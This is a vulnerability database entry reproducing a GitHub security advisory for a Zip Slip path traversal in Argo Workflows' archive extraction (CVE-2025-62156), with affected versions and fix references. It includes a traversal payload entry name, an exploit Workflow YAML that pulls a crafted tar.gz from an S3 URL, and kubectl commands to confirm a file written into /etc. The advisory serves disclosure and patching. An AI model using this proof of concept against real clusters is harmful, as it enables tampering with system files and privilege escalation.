GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-P84V-GXVW-73PF

Vulnerability from github – Published: 2025-10-14 18:00 – Updated: 2025-11-05 22:10
VLAI
Summary
Argo Workflow has a Zipslip Vulnerability
Details

Vulnerability Description

Vulnerability Overview

  1. During the artifact extraction process, the unpack() function extracts the compressed file to a temporary directory (/etc.tmpdir) and then attempts to move its contents to /etc using the rename() system call,
  2. However, since /etc is an already existing system directory, the rename() system call fails, making normal archive extraction impossible.
  3. At this point, if a malicious user sets the entry name inside the tar.gz file to a path traversal like ../../../../../etc/zipslip-poc,
  4. The untar() function combines paths using filepath.Join(dest, filepath.Clean(header.Name)) without path validation, resulting in target = "/work/input/../../../../../etc/zipslip-poc",
  5. Ultimately, the /etc/zipslip-poc file is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories.

untar(): Writing Files Outside the Extraction Directory

https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993

  1. Base Path: /work/tmp (dest) — The intended extraction directory in the wait container
  2. Malicious Entry: ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt (header.Name) — Path traversal payload
  3. Path Cleaning: filepath.Clean("../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Go’s path cleaning normalizes the traversal
  4. Path Joining: filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Absolute path overrides base directory
  5. File Creation: /mainctrfs/etc/zipslip-ok.txt file is created in the wait container
  6. Volume Mirroring: The file appears as /etc/zipslip-ok.txt in the main container due to volume mount mirroring

PoC

PoC Description

  1. The user uploaded a malicious tar.gz file to S3 that contains path traversal entries like ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt designed to exploit the vulnerability.
  2. In the Argo Workflows YAML, the artifact’s path is set to /work/tmp, which should normally extract the archive to that intended directory.
  3. However, due to the vulnerability in the untar() function, filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") resolves to /mainctrfs/etc/zipslip-ok.txt, causing files to be created in unintended locations.
  4. Since the wait container’s /mainctrfs/etc and the main container’s /etc share the same volume, files created in the wait container become visible in the main container’s /etc/ directory.
  5. Consequently, the archive that should extract to /work/tmp exploits the Zip Slip vulnerability to create files in the /etc/ directory, enabling manipulation of system configuration files.

exploit yaml

apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: zipslip-
spec:
  entrypoint: main
  templates:
  - name: main
    container:
      image: ubuntu:22.04
      command: ["sh"]
      args: ["-c", "echo 'Starting container'; sleep 3000"]
      volumeMounts:
      - name: etcvol
        mountPath: /etc
    inputs:
      artifacts:
      - name: evil
        path: /work/tmp  
        archive:
          tar: {}
        http:
          url: "https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz"
    volumes:
    - name: etcvol
      emptyDir: {}

exploit

  1. Create Zipslip
    image (4)

  2. Upload S3
    image (5)

  3. Create Workflow
    image (1) (1)

  4. Run
    image (2)

  5. Exploit Success image (3)

```bash # Find Workflow and Pod NS=default WF=$(kubectl get wf -n "$NS" --sort-by=.metadata.creationTimestamp --no-headers | awk 'END{print $1}') POD=$(kubectl get pod -n "$NS" -l workflows.argoproj.io/workflow="$WF" --no-headers | awk 'END{print $1}') echo "NS=$NS WF=$WF POD=$POD"

# Connect Main Container kubectl exec -it -n "$NS" "$POD" -c main -- bash

# Exploit cd /etc/ ls -l cat zipslip-ok.txt ```

Impact

Container Isolation Bypass

The Zip Slip vulnerability allows attackers to write files to system directories like /etc/ within the container, potentially overwriting critical configuration files such as /etc/passwd, /etc/hosts, or /etc/crontab, which could lead to privilege escalation or persistent access within the compromised container.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-workflows/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-workflows/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62156"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-14T18:00:30Z",
    "nvd_published_at": "2025-10-14T15:16:12Z",
    "severity": "HIGH"
  },
  "details": "### **Vulnerability Description**\n\n#### Vulnerability Overview\n\n1. During the artifact extraction process, the `unpack()` function extracts the compressed file to a temporary directory (`/etc.tmpdir`) and then attempts to move its contents to `/etc` using the `rename()` system call,\n2. However, since `/etc` is an already existing system directory, the `rename()` system call fails, making normal archive extraction impossible.\n3. At this point, if a malicious user sets the entry name inside the `tar.gz` file to a path traversal like `../../../../../etc/zipslip-poc`,\n4. The `untar()` function combines paths using `filepath.Join(dest, filepath.Clean(header.Name))` without path validation, resulting in `target = \"/work/input/../../../../../etc/zipslip-poc\"`,\n5. Ultimately, the `/etc/zipslip-poc` file is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories.\n\n#### untar(): Writing Files Outside the Extraction Directory\n\nhttps://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993\n\n1. **Base Path**: `/work/tmp` (dest) \u2014 The intended extraction directory in the wait container  \n2. **Malicious Entry**: `../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt` (`header.Name`) \u2014 Path traversal payload  \n3. **Path Cleaning**: `filepath.Clean(\"../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt\") = /mainctrfs/etc/zipslip-ok.txt` \u2014 Go\u2019s path cleaning normalizes the traversal  \n4. **Path Joining**: `filepath.Join(\"/work/tmp\", \"/mainctrfs/etc/zipslip-ok.txt\") = /mainctrfs/etc/zipslip-ok.txt` \u2014 Absolute path overrides base directory  \n5. **File Creation**: `/mainctrfs/etc/zipslip-ok.txt` file is created in the wait container  \n6. **Volume Mirroring**: The file appears as `/etc/zipslip-ok.txt` in the main container due to volume mount mirroring\n\n### PoC\n\n#### PoC Description\n\n1. The user uploaded a malicious `tar.gz` file to S3 that contains path traversal entries like `../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt` designed to exploit the vulnerability.\n2. In the Argo Workflows YAML, the artifact\u2019s path is set to `/work/tmp`, which should normally extract the archive to that intended directory.\n3. However, due to the vulnerability in the `untar()` function, `filepath.Join(\"/work/tmp\", \"/mainctrfs/etc/zipslip-ok.txt\")` resolves to `/mainctrfs/etc/zipslip-ok.txt`, causing files to be created in unintended locations.\n4. Since the wait container\u2019s `/mainctrfs/etc` and the main container\u2019s `/etc` share the same volume, files created in the wait container become visible in the main container\u2019s `/etc/` directory.\n5. Consequently, the archive that should extract to `/work/tmp` exploits the Zip Slip vulnerability to create files in the `/etc/` directory, enabling manipulation of system configuration files.\n\n#### exploit yaml\n\n```yaml\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: zipslip-\nspec:\n  entrypoint: main\n  templates:\n  - name: main\n    container:\n      image: ubuntu:22.04\n      command: [\"sh\"]\n      args: [\"-c\", \"echo \u0027Starting container\u0027; sleep 3000\"]\n      volumeMounts:\n      - name: etcvol\n        mountPath: /etc\n    inputs:\n      artifacts:\n      - name: evil\n        path: /work/tmp  \n        archive:\n          tar: {}\n        http:\n          url: \"https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz\"\n    volumes:\n    - name: etcvol\n      emptyDir: {}\n```\n\n#### exploit\n\n1. Create Zipslip  \n\u003cimg width=\"1300\" height=\"102\" alt=\"image (4)\" src=\"https://github.com/user-attachments/assets/74569df1-43f9-409d-b905-601bcb5998e2\" /\u003e\n\n2. Upload S3  \n\u003cimg width=\"1634\" height=\"309\" alt=\"image (5)\" src=\"https://github.com/user-attachments/assets/2bf4a90a-0f03-411d-9a31-3c7de4b399b4\" /\u003e\n\n\n3. Create Workflow  \n\u003cimg width=\"1875\" height=\"865\" alt=\"image (1) (1)\" src=\"https://github.com/user-attachments/assets/fd01a4a7-c400-47a2-a8f0-427b0feabc7f\" /\u003e\n\n\n4. Run  \n\u003cimg width=\"1799\" height=\"862\" alt=\"image (2)\" src=\"https://github.com/user-attachments/assets/18a68919-1529-4ca0-9ed4-b71e271ae38f\" /\u003e\n\n\n5. Exploit Success\n\u003cimg width=\"1363\" height=\"440\" alt=\"image (3)\" src=\"https://github.com/user-attachments/assets/ac0e834d-4734-4771-9d24-d6fd1ce5d77f\" /\u003e\n\n   ```bash\n   # Find Workflow and Pod\n   NS=default\n   WF=$(kubectl get wf -n \"$NS\" --sort-by=.metadata.creationTimestamp --no-headers | awk \u0027END{print $1}\u0027)\n   POD=$(kubectl get pod -n \"$NS\" -l workflows.argoproj.io/workflow=\"$WF\" --no-headers | awk \u0027END{print $1}\u0027)\n   echo \"NS=$NS WF=$WF POD=$POD\"\n   \n   # Connect Main Container\n   kubectl exec -it -n \"$NS\" \"$POD\" -c main -- bash\n   \n   # Exploit\n   cd /etc/\n   ls -l\n   cat zipslip-ok.txt\n   ```\n\n### Impact\n\n#### Container Isolation Bypass\n\nThe Zip Slip vulnerability allows attackers to write files to system directories like `/etc/` within the container, potentially overwriting critical configuration files such as `/etc/passwd`, `/etc/hosts`, or `/etc/crontab`, which could lead to privilege escalation or persistent access within the compromised container.",
  "id": "GHSA-p84v-gxvw-73pf",
  "modified": "2025-11-05T22:10:23Z",
  "published": "2025-10-14T18:00:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-p84v-gxvw-73pf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62156"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/commit/5659ad9b641fcf52c04ed594cd6493f9170f6011"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/commit/9f6bc5d236cd1b24d607943384511d71ad17a4c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-workflows"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-4023"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Argo Workflow has a Zipslip Vulnerability"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…